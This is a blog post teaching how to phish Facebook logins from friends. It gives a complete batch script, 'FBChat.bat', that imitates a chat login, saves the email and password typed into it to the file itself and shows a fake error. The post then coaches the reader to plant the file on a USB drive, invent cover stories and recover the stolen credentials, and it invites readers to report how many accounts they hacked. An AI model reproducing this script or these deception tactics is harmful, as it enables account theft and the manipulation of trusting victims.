Facebook phishing using USB drive

20:54 | Posted by Unknown | 2 comments

This is a very simple batch file to trick the victim into entering their Facebook email and password. After the email and password is entered the information is saved into the batch file itself. This trick relies very much on your skills in social engineering and works only on dummies.

First of all paste the following code into notepad and save it as FBChat.bat EXACTLY. Do not rename it anything else or it won't work. Remember to leave a blank like after the code.

TITLE FBChat
ECHO OFF
COLOR 03
CLS
ECHO.
ECHO LOGIN TO START CHATTING ON FACEBOOK
ECHO.
ECHO Please enter your email:
SET/P "MAIL=>"
ECHO.
ECHO Enter the password:
SET/P "PSWD=>"
ECHO.>>FBChat.bat
ECHO EMAIL = %MAIL%>>FBChat.bat
ECHO PASSWORD = %PSWD%>>FBChat.bat
CLS
TIMEOUT /T 5 >NUL
COLOR 0C
ECHO.
ECHO An error occurred while connecting to the server. Try again later.
PAUSE>NUL
EXIT
---------- Below this line are the collected information ----------

Put the batch file in a USB drive and give it your friend and tell him to put some film or games or some other thing. Also tell him/her that there will be a software you made and tell him/her to try it. It is up to you to make this trick effective. Try not to raise any suspicions and be convincing. You can cook up some stories around two or three days before you are going to try out the trick. You can tell the victim you are developing a cool software or you have a cool software and ask him/her to try it out. Try to be as convincing as possible.

When you get back the pen drive the information will be probably waiting to be recovered! To recover any collected information right click the batch file and select the edit option. Now scroll to the bottom. Any information collected will be at the bottom. If nothing is there below the line that means your friend did not enter any information. You might want to try again.

With some good social engineering this method will work fine. I tried this out on some of my friends with hundred percent success. Give it a try yourself! Always remember, hacking is ILLEGAL and you should not hack without a valid reason.

Remember to like and share! And remember to share your results in the comments after trying it. Did you manage to hack and how many accounts you hacked?